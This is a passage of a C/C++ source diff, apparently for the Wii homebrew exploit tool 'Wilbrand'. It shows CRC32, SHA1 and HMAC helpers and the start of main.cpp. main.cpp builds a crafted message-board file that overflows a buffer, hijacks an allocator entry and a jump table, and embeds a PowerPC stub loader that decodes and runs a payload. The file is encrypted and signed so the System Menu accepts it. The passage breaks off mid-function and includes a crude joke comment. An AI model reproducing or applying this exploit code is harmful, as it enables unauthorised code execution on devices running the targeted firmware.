* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
*
|
||||||
|
***************************************************************************/
|
||||||
|
|
||||||
|
#include <assert.h>
|
||||||
|
#include "cryptostuff.h"
|
||||||
|
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
static const unsigned int CRC32Table[] = {
|
||||||
|
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
|
||||||
|
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
|
||||||
|
0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
|
||||||
|
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
|
||||||
|
0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
|
||||||
|
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
|
||||||
|
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
|
||||||
|
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
|
||||||
|
0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
|
||||||
|
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
|
||||||
|
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
|
||||||
|
0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
|
||||||
|
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
|
||||||
|
0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
|
||||||
|
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
|
||||||
|
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
|
||||||
|
0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
|
||||||
|
0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
|
||||||
|
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
|
||||||
|
0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
|
||||||
|
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
|
||||||
|
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
|
||||||
|
0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
|
||||||
|
0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
|
||||||
|
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
|
||||||
|
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
|
||||||
|
0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
|
||||||
|
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
|
||||||
|
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
|
||||||
|
0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
|
||||||
|
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
|
||||||
|
0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D,
|
||||||
|
};
|
||||||
|
|
||||||
|
u32 ComputeCRC32( u8 *buffer, u16 size )
|
||||||
|
{
|
||||||
|
u32 CRC = 0xFFFFFFFF;
|
||||||
|
for( u32 i = 0; i < size; i++ )
|
||||||
|
{
|
||||||
|
CRC = ( CRC >> 8 ) ^ CRC32Table[ ( ( buffer[ i ] ^ CRC ) & 0xFF ) ];
|
||||||
|
}
|
||||||
|
return ~CRC;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void CopySha( SHA1Context *ctx, u8* buf )
|
||||||
|
{
|
||||||
|
for( int i = 0; i < 5; i++ )
|
||||||
|
{
|
||||||
|
wbe32( buf + ( i << 2 ), ctx->Message_Digest[ i ] );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Buffer GetSha1( const Buffer &stuff )
|
||||||
|
{
|
||||||
|
Buffer ret( 0x14 );
|
||||||
|
assert( ret.Size() == 0x14 );
|
||||||
|
|
||||||
|
SHA1Context ctx;
|
||||||
|
SHA1Reset( &ctx );
|
||||||
|
SHA1Input( &ctx, (const u8*)stuff.ConstData(), stuff.Size() );
|
||||||
|
SHA1Result( &ctx );
|
||||||
|
|
||||||
|
u8* p = (u8*)ret.Data();
|
||||||
|
CopySha( &ctx, p );
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
// reversing done by gray
|
||||||
|
void hmac_init( hmac_ctx *ctx, const char *key, int key_size )
|
||||||
|
{
|
||||||
|
key_size = key_size < 0x40 ? key_size: 0x40;
|
||||||
|
|
||||||
|
memset( ctx->key, 0, 0x40 );
|
||||||
|
memcpy( ctx->key, key, key_size );
|
||||||
|
|
||||||
|
for( int i = 0; i < 0x40; i++ )
|
||||||
|
ctx->key[ i ] ^= 0x36; // ipad
|
||||||
|
|
||||||
|
SHA1Reset( &ctx->hash_ctx );
|
||||||
|
SHA1Input( &ctx->hash_ctx, ctx->key, 0x40 );
|
||||||
|
}
|
||||||
|
|
||||||
|
void hmac_update( hmac_ctx *ctx, const u8 *data, int size )
|
||||||
|
{
|
||||||
|
SHA1Input( &ctx->hash_ctx, data, size );
|
||||||
|
}
|
||||||
|
|
||||||
|
void hmac_final( hmac_ctx *ctx, unsigned char *hmac )
|
||||||
|
{
|
||||||
|
SHA1Result( &ctx->hash_ctx );
|
||||||
|
|
||||||
|
CopySha( &ctx->hash_ctx, hmac );
|
||||||
|
for( int i = 0; i < 0x40; ++i )
|
||||||
|
{
|
||||||
|
ctx->key[ i ] ^= 0x36 ^ 0x5c; // opad
|
||||||
|
}
|
||||||
|
|
||||||
|
SHA1Reset( &ctx->hash_ctx );
|
||||||
|
SHA1Input( &ctx->hash_ctx, ctx->key, 0x40 );
|
||||||
|
SHA1Input( &ctx->hash_ctx, hmac, 0x14 );
|
||||||
|
SHA1Result( &ctx->hash_ctx );
|
||||||
|
|
||||||
|
CopySha( &ctx->hash_ctx, hmac );
|
||||||
|
}
|
23
source/cryptostuff.h
Normal file
23
source/cryptostuff.h
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
#ifndef CRYPTOSTUFF_H
|
||||||
|
#define CRYPTOSTUFF_H
|
||||||
|
|
||||||
|
#include "aes.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include "sha1.h"
|
||||||
|
#include "tools.h"
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
SHA1Context hash_ctx;
|
||||||
|
unsigned char key[ 0x40 ];
|
||||||
|
} hmac_ctx;
|
||||||
|
|
||||||
|
u32 ComputeCRC32( u8 *Buffer, u16 Size ) __attribute__ ( ( const ) );
|
||||||
|
|
||||||
|
void hmac_init(hmac_ctx *ctx, const char *key, int key_size);
|
||||||
|
void hmac_update( hmac_ctx *ctx, const u8 *data, int size );
|
||||||
|
void hmac_final( hmac_ctx *ctx, unsigned char *hmac );
|
||||||
|
|
||||||
|
Buffer GetSha1( const Buffer &stuff );
|
||||||
|
|
||||||
|
#endif // CRYPTOSTUFF_H
|
759
source/main.cpp
Normal file
759
source/main.cpp
Normal file
@ -0,0 +1,759 @@
|
|||||||
|
/***************************************************************************
|
||||||
|
* Copyright (C) 2011
|
||||||
|
* by giantpune
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
*
|
||||||
|
***************************************************************************/
|
||||||
|
/*
|
||||||
|
These files are saved in utf-8 encoding. This should look like the tm sign - ™. And this likes like a dick 8===ʚ .
|
||||||
|
Tab = 4 spaces wide. These should look the same width
|
||||||
|
| <- tab * 2
|
||||||
|
| <- space * 8
|
||||||
|
*/
|
||||||
|
#include <algorithm>
|
||||||
|
#include <assert.h>
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <ctime>
|
||||||
|
#include <iomanip>
|
||||||
|
#include <iostream>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#ifdef WIN32
|
||||||
|
#include <winsock2.h>
|
||||||
|
#else
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#include "aes.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include "cryptostuff.h"
|
||||||
|
|
||||||
|
INC_FILE( envelope_bin );
|
||||||
|
INC_FILE( loader_bin );
|
||||||
|
|
||||||
|
// only works with whole numbers
|
||||||
|
#define RU( n, s ) \
|
||||||
|
({ \
|
||||||
|
typeof( n ) n1 = n; \
|
||||||
|
typeof( s ) s1 = s; \
|
||||||
|
((((n1) + (s1) - 1) / (s1)) * (s1)); \
|
||||||
|
})
|
||||||
|
|
||||||
|
#define TICKS_PER_SECOND 60750000ULL
|
||||||
|
#define SECONDS_TO_2000 946684800ULL
|
||||||
|
#define STRLEN ( (u32)0x10014 + 0x300 )
|
||||||
|
|
||||||
|
// some possible exitcodes this program will use
|
||||||
|
//! these are really for any other tools that would be calling this program
|
||||||
|
//! such as PHP or some .sh script. If it is a real person running this thing,
|
||||||
|
//! then hopefully the text output will be more useful than the exit code.
|
||||||
|
enum ExitCodes
|
||||||
|
{
|
||||||
|
E_Success = EXIT_SUCCESS, // everything worked like it should
|
||||||
|
E_Argc, // too many/few arguments
|
||||||
|
E_MacLength, // MAC address isnt 12 hex characters
|
||||||
|
E_BadDate, // error parsing date/date is too high
|
||||||
|
E_CantWriteFile, // cant write the output file
|
||||||
|
E_SystemMenuVersion, // error parsing system menu version
|
||||||
|
E_SDRoot, // SD root doesnt exist
|
||||||
|
E_BadData // the data files used to build this program are too big or something like that
|
||||||
|
};
|
||||||
|
|
||||||
|
// creates a buffer holding 16 'random' bytes
|
||||||
|
Buffer &MakeIV( Buffer &in )
|
||||||
|
{
|
||||||
|
in = Buffer( 0x10 );
|
||||||
|
u32* p = (u32*)in.Data();
|
||||||
|
|
||||||
|
// this isn't exactly like the system menu does it, but its still based on the current time
|
||||||
|
//srand( time( NULL ) );
|
||||||
|
for( u32 i = 0; i < 4; i++ )
|
||||||
|
{
|
||||||
|
// p[ i ] = rand();
|
||||||
|
p[ i ] = 0x12345678;
|
||||||
|
}
|
||||||
|
|
||||||
|
return in;
|
||||||
|
}
|
||||||
|
|
||||||
|
string PathFromDateTime( struct tm *dt )
|
||||||
|
{
|
||||||
|
if( !dt )
|
||||||
|
{
|
||||||
|
return string();
|
||||||
|
}
|
||||||
|
char buf[ 0x100 ];
|
||||||
|
|
||||||
|
snprintf( buf, sizeof( buf ), SEP"%04u"SEP"%02u"SEP"%02u"SEP"%02u"SEP"%02u",
|
||||||
|
dt->tm_year + 1900, dt->tm_mon, dt->tm_mday, dt->tm_hour, dt->tm_min );
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline u32 CdbTimeFromDateTime( time_t dt )
|
||||||
|
{
|
||||||
|
return dt - SECONDS_TO_2000;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Usage( int exitCode ) __attribute__ ( ( noreturn ) );
|
||||||
|
void Usage( int exitCode )
|
||||||
|
{
|
||||||
|
cout << "Usage:" << endl;
|
||||||
|
cout << "" << endl;
|
||||||
|
cout << "Wilbrand <MAC address> <date> <sysmenu version> <SD Root>" << endl;
|
||||||
|
cout << "" << endl;
|
||||||
|
cout << " MAC address can be found in the wii settings -> internet information" << endl;
|
||||||
|
cout << " it is 12 ascii characters." << endl;
|
||||||
|
cout << "" << endl;
|
||||||
|
cout << " date is the date you want the message to show up on the messageboard." << endl;
|
||||||
|
cout << " format is mm/dd/yyyy" << endl;
|
||||||
|
cout << " or # of seconds since 00:00:00 jan 1, 2000" << endl;
|
||||||
|
cout << " expressed as a 32bit hex number" << endl;
|
||||||
|
cout << "" << endl;
|
||||||
|
cout << " sysmenu version of the system menu to build the exploit for; 4.3e, 4.3k..." << endl;
|
||||||
|
cout << "" << endl;
|
||||||
|
cout << " SD Root is the root of the SD card. this program will create the necessary" << endl;
|
||||||
|
cout << " subfolders and then slap the exploit in it" << endl;
|
||||||
|
exit( exitCode );
|
||||||
|
}
|
||||||
|
|
||||||
|
void GetWiiID( Buffer mac, Buffer &out )
|
||||||
|
{
|
||||||
|
mac += "\x75\x79\x79";
|
||||||
|
out = GetSha1( mac );
|
||||||
|
}
|
||||||
|
|
||||||
|
// write the attribute header for a playlog and the cdb file header
|
||||||
|
Buffer &AddCDBAttrHeader( Buffer &in, u32 wiiID_upper, u32 wiiID_lower, u32 cdbTime )
|
||||||
|
{
|
||||||
|
char* b = (char*)in.Data();
|
||||||
|
|
||||||
|
// start attribute header
|
||||||
|
strcpy( b, "CDBFILE\x2" ); // magic word & version
|
||||||
|
wbe32( b + 0x8, wiiID_upper ); // wiiID
|
||||||
|
wbe32( b + 0xc, wiiID_lower );
|
||||||
|
b[ 0x10 ] = 0x12; // strlen( description ) + 1
|
||||||
|
strcpy( b + 0x14, "ripl_board_record" ); // description
|
||||||
|
wbe32( b + 0x70, 1 ); // entry ID# ( /cdb.conf value )
|
||||||
|
wbe32( b + 0x74, 1 ); // edit count
|
||||||
|
wbe32( b + 0x7c, cdbTime ); // last edit time
|
||||||
|
|
||||||
|
// start cdb file header
|
||||||
|
wbe32( b + 0x400, 0x52495f35 ); // magic word
|
||||||
|
//wbe32( b + 0x404, 0xc3153904 ); // position
|
||||||
|
//wbe32( b + 0x408, 0x429989fc ); // -149.22, 76.76
|
||||||
|
wbe32( b + 0x40c, 0x00000001 ); // "type" flag
|
||||||
|
wbe64( b + 0x410, cdbTime * TICKS_PER_SECOND ); // sent time
|
||||||
|
strcpy( b + 0x418, "w9999999900000000@wii.com" ); // sender - this is bowser's friend code
|
||||||
|
|
||||||
|
wbe32( b + 0x518, 0x00020001 ); // more flags ( origin = email | can reply = false )
|
||||||
|
|
||||||
|
return in;
|
||||||
|
}
|
||||||
|
|
||||||
|
// adds the title, message body, and attachment(s) to our message, and then fix the
|
||||||
|
// checksum in the cdb file header
|
||||||
|
//! in this case, the message body contains the exploit and there is only 1 attachment
|
||||||
|
//! which contains the image used for the envelope icon
|
||||||
|
Buffer &AddStuff( Buffer &in, u32 jumpAddr, u32 overwriteAddr, u32 jumpTableAddr,
|
||||||
|
u32 fileStructVersion, u32 OSReturnToMenu, u32 __OSStopAudioSystem, u32 __GXAbort,
|
||||||
|
u32 VFSysOpenFile_current, u32 VFSysReadFile, u32 __OSUnRegisterStateEvent, u32 VISetBlack,
|
||||||
|
u32 VIFlush, u32 VFiPFVOL_GetVolumeFromDrvChar, u32 VFiPFVOL_SetCurrentVolume )
|
||||||
|
{
|
||||||
|
u32 t32;
|
||||||
|
u8* b = in.Data();
|
||||||
|
|
||||||
|
wbe32( b + 0x51c, 0x148 ); // descritpion offset
|
||||||
|
wbe32( b + 0x520, 0x168 ); // body offset
|
||||||
|
|
||||||
|
// write a pretty title ( just using spaces for now now )
|
||||||
|
PutU16Str( b + 0x548, " " );
|
||||||
|
|
||||||
|
// overflow the buffer
|
||||||
|
for( u32 i = 0x568, val = 0x01010101; i < 0x32400 - 0x8000; i += 4, val += 0x100000 )
|
||||||
|
{
|
||||||
|
if( !( val & 0xffff ) || !( ( val >> 16 ) & 0xffff ) )
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
wbe32( b + i, val );
|
||||||
|
}
|
||||||
|
|
||||||
|
wbe32( b + 0x3448 + 0, 0x80F80001 );
|
||||||
|
wbe32( b + 0x3448 + 4, 0x00010001 );
|
||||||
|
|
||||||
|
// overwrite a memory allocator entry with a stack address. next time they allocate memory after
|
||||||
|
// the buffer overflow happens, it will overwrite a value on the stack to point to the buffer of memory
|
||||||
|
// that we initialized during the buffer overflow
|
||||||
|
wbe32( b + 0x3448 + 8, overwriteAddr );
|
||||||
|
wbe32( b + 0x3448 + 0xc, overwriteAddr );
|
||||||
|
|
||||||
|
// this address is read by "lwz %r12, 0(%r3)"
|
||||||
|
//! it points to itself
|
||||||
|
wbe32( b + 0x568 + 0xcdf8, jumpTableAddr );
|
||||||
|
|
||||||
|
// this one is read into r12 by "lwz %r12, 0xC(%r12)"
|
||||||
|
//! this one ands up getting executed
|
||||||
|
wbe32( b + 0x568 + 0xcdf8 + 0xc, jumpAddr );
|
||||||
|
|
||||||
|
// a couple macros for making the assembly part below
|
||||||
|
#define M_PAYLOAD_START( off ) \
|
||||||
|
( ( b + 0x568 + STRLEN ) + ( off ) )
|
||||||
|
|
||||||
|
#define M_PAYLOAD_START_INC() \
|
||||||
|
({ \
|
||||||
|
u8* r = M_PAYLOAD_START( oo ); \
|
||||||
|
oo += 4; \
|
||||||
|
r; \
|
||||||
|
})
|
||||||
|
#define _L( x )\
|
||||||
|
wbe32( M_PAYLOAD_START_INC(), x )
|
||||||
|
|
||||||
|
#define _X( x )\
|
||||||
|
wbe32( M_PAYLOAD_START_INC(), (x) ^ jumpAddr )
|
||||||
|
|
||||||
|
|
||||||
|
// insert a stub loader that will un-xor the payload to 0x93000000 and branch to it
|
||||||
|
// this gives an initial payload that is location-independant (as long as it doesn't happen do be in the 0x93000000 area itself)
|
||||||
|
// and contains no null u16s.
|
||||||
|
// some addresses of functions in the system menu are written right before the loader in case it wants to use them
|
||||||
|
//! it assumes that r12 contains the value that the code is xor'd with
|
||||||
|
|
||||||
|
u32 oo = 0;
|
||||||
|
|
||||||
|
// r29 = 0x01010101
|
||||||
|
_L( 0x3FA00101 ); //! lis r29, 0x101
|
||||||
|
_L( 0x3BBD0101 ); //! addi r29, r29, 0x101
|
||||||
|
|
||||||
|
// load r28 with the offset to the data we want copied
|
||||||
|
_L( 0x3B800050 ); //! li r28, 0x50
|
||||||
|
|
||||||
|
// location to start copying data
|
||||||
|
_L( 0x3DE092ff ); //! lis r15, 0x92ff
|
||||||
|
_L( 0x61EFffd4 ); //! ori r15, r15, 0xffd4
|
||||||
|
|
||||||
|
// destination - offset
|
||||||
|
_L( 0x7DDC7850 ); //! sub r14, r15, r28
|
||||||
|
|
||||||
|
// r12 already contains the jump address
|
||||||
|
// load a u32 of the elf loader, xor with r12, write it to r14 + offset
|
||||||
|
//! loop:
|
||||||
|
_L( 0x7CACE02E ); //! lwzx r5,r12,r28
|
||||||
|
_L( 0x7CA66278 ); //! xor r6, r5, r12
|
||||||
|
_L( 0x7CCEE12E ); //! stwx r6,r14,r28
|
||||||
|
|
||||||
|
// sync
|
||||||
|
_L( 0x7C0EE06C ); //! dcbst r14, r28
|
||||||
|
_L( 0x7C0004AC ); //! sync
|
||||||
|
_L( 0x7C0EE7AC ); //! icbi r14, r28
|
||||||
|
|
||||||
|
// if the value of the u32 was not 0x01010101 before the xor, goto loop
|
||||||
|
_L( 0x7C05E800 ); //! cmpw r5, r29
|
||||||
|
_L( 0x3B9C0004 ); //! addi r28, r28, 4
|
||||||
|
_L( 0x40a2ffe0 ); //! bne- 0xFFE0
|
||||||
|
|
||||||
|
// sync
|
||||||
|
_L( 0x7C0004AC ); //! sync
|
||||||
|
_L( 0x4C00012C ); //! isync
|
||||||
|
|
||||||
|
// execute 0x93000000
|
||||||
|
_L( 0x3D809300 ); //! lis r12, 0x9300
|
||||||
|
_L( 0x7D8903A6 ); //! mtctr r12
|
||||||
|
_L( 0x4E800420 ); //! bctr
|
||||||
|
|
||||||
|
|
||||||
|
// add addresses for the loader to use
|
||||||
|
_X( fileStructVersion );
|
||||||
|
_X( OSReturnToMenu );
|
||||||
|
_X( __OSStopAudioSystem );
|
||||||
|
_X( __GXAbort );
|
||||||
|
_X( VFSysOpenFile_current );
|
||||||
|
_X( VFSysReadFile );
|
||||||
|
_X( __OSUnRegisterStateEvent );
|
||||||
|
_X( VISetBlack );
|
||||||
|
_X( VIFlush );
|
||||||
|
_X( VFiPFVOL_GetVolumeFromDrvChar );
|
||||||
|
_X( VFiPFVOL_SetCurrentVolume );
|
||||||
|
|
||||||
|
|
||||||
|
// add the loader
|
||||||
|
u32* src = (u32*)loader_bin;
|
||||||
|
u32* dst = (u32*)M_PAYLOAD_START_INC();
|
||||||
|
u32 _xor = htonl( jumpAddr );
|
||||||
|
|
||||||
|
t32 = RU( loader_bin_size, 4 ) / 4;
|
||||||
|
for( u32 i = 0; i < t32; i++ )
|
||||||
|
{
|
||||||
|
dst[ i ] = src[ i ] ^ _xor;
|
||||||
|
}
|
||||||
|
oo += RU( loader_bin_size, 4 );
|
||||||
|
|
||||||
|
// write 0x01010101 to signal the stub loader the end of its payload
|
||||||
|
_L( 0x01010101 );
|
||||||
|
|
||||||
|
// add the image at the end of the whole shabang
|
||||||
|
u32 tmgLoc = ( 0x32400 - 0 ) - envelope_bin_size;
|
||||||
|
wbe32( b + 0x528, 2 ); // type
|
||||||
|
wbe32( b + 0x52c, ( tmgLoc - 0x400 ) ); // offset - first header size
|
||||||
|
wbe32( b + 0x530, envelope_bin_size ); // size
|
||||||
|
memcpy( b + tmgLoc, envelope_bin, envelope_bin_size );
|
||||||
|
|
||||||
|
// fix checksum
|
||||||
|
t32 = ComputeCRC32( b + 0x400, 0x140 );
|
||||||
|
wbe32( b + 0x540, t32 );
|
||||||
|
|
||||||
|
//in.Dump( 0x568 + STRLEN, 0x5000 );
|
||||||
|
|
||||||
|
return in;
|
||||||
|
}
|
||||||
|
|
||||||
|
// messages stored on the SD card (as opposed to the ones in the wii's nand) are signed and encrypted
|
||||||
|
//! all the values added by this function are only present in messages which are encrypted, otherwise they are 0x00
|
||||||
|
Buffer &EncryptAndSign( Buffer &in, const Buffer &wiiID, const string &id, const string &type, const string &ext )
|
||||||
|
{
|
||||||
|
u8* b = in.Data();
|
||||||
|
u32 is = in.Size();
|
||||||
|
|
||||||
|
// write size
|
||||||
|
wbe32( b + 0x78, is );
|
||||||
|
|
||||||
|
// create keystring
|
||||||
|
u32 time = htonl( *(u32*)( b + 0x7c ) );
|
||||||
|
snprintf( (char*)b + 0x80, 0x1b, "%010u_%s_%s.%s", time, id.c_str(), ext.c_str(), type.c_str() );
|
||||||
|
|
||||||
|
// encrypt
|
||||||
|
Buffer iv;
|
||||||
|
MakeIV( iv );
|
||||||
|
Buffer key( 0x10, '\0' );
|
||||||
|
assert( key.Size() == 0x10 );
|
||||||
|
u8* kd = key.Data();
|
||||||
|
|
||||||
|
memcpy( b + 0xa0, iv.Data(), 0x10 );
|
||||||
|
aes_set_key( kd );
|
||||||
|
aes_encrypt( (u8*)iv.Data(), b + 0x400, b + 0x400, is - 0x400 ); // encrypt from 0x400 to the end of the file
|
||||||
|
|
||||||
|
// calculate hmac
|
||||||
|
hmac_ctx ctx;
|
||||||
|
hmac_init( &ctx, (const char*)wiiID.ConstData() + 8, wiiID.Size() - 8 );
|
||||||
|
hmac_update( &ctx, b, is );
|
||||||
|
hmac_final( &ctx, (unsigned char*)b + 0xb0 );
|
||||||
|
|
||||||
|
return in;
|
||||||
|
}
|
||||||
|
|
||||||
|
// expects mm/dd/yyyy. returns 23:59 of that day, UTC or 0 on error
|
||||||
|
// may or may not actually work
|
||||||
|
time_t ParseDateString( const char* str )
|
||||||
|
{
|
||||||
|
u32 month = 0, day = 0, year = 0;
|
||||||
|
|
||||||
|
// parse
|
||||||
|
if( sscanf( str, "%2u/%2u/%4u", &month, &day, &year ) != 3 )
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// the wii will self destruct in 2035, so as far as it is conserned,
|
||||||
|
// that is an invalid date. it also believes that Koji Kondo created the
|
||||||
|
// world in 2000, and any date prior to that is blasphomy
|
||||||
|
if( year < 2000 || year > 2035 )
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct tm timeInfo;
|
||||||
|
memset( &timeInfo, 0, sizeof( struct tm ) );
|
||||||
|
|
||||||
|
timeInfo.tm_year = year - 1900;
|
||||||
|
timeInfo.tm_mon = month - 1;
|
||||||
|
timeInfo.tm_mday = day;
|
||||||
|
|
||||||
|
// 23:59 because messages show up with newest ones on top for each day
|
||||||
|
timeInfo.tm_hour = 23;
|
||||||
|
timeInfo.tm_min = 59;
|
||||||
|
|
||||||
|
time_t theTime = mktime( &timeInfo );
|
||||||
|
time_t utc = mktime( gmtime( &theTime ) );
|
||||||
|
|
||||||
|
|
||||||
|
// windows does some really weird shit with daylight saving time
|
||||||
|
time_t ret = ( ( theTime << 1 ) - utc );
|
||||||
|
struct tm * wtf = gmtime( &ret );
|
||||||
|
if( !wtf->tm_hour )
|
||||||
|
{
|
||||||
|
ret -= 3600;
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
|
||||||
|
//return (u32)(theTime - difftime( utc, theTime ));
|
||||||
|
//return ( ( theTime << 1 ) - utc );// this works for linux and mingw, but not real windoze
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline u32 HashStr( const string &str )
|
||||||
|
{
|
||||||
|
return ComputeCRC32( (u8*)str.c_str(), str.size() );
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
// test that whoever built this program didnt try to cram in
|
||||||
|
// a superhuge payload or envelope icon
|
||||||
|
//if( envelope_bin_size >= 0x7000 || loader_bin_size >= ( 0x2a3e0 - 0x108c0 ) )
|
||||||
|
if( envelope_bin_size >= 0x7000 )
|
||||||
|
{
|
||||||
|
cout << "E_BadData" << endl;
|
||||||
|
exit( E_BadData );
|
||||||
|
}
|
||||||
|
|
||||||
|
// MAC, date, sysmenu version, SD root
|
||||||
|
if( argc != 5 )
|
||||||
|
{
|
||||||
|
Usage( E_Argc );
|
||||||
|
}
|
||||||
|
|
||||||
|
u32 jumpAddr = 0;
|
||||||
|
u32 overwriteAddr = 0;
|
||||||
|
u32 jumpTableAddr = 0;
|
||||||
|
u32 fileStructVersion = 0;
|
||||||
|
u32 OSReturnToMenu = 0;
|
||||||
|
u32 __OSStopAudioSystem = 0;
|
||||||
|
u32 __GXAbort = 0;
|
||||||
|
u32 VFSysOpenFile_current = 0;
|
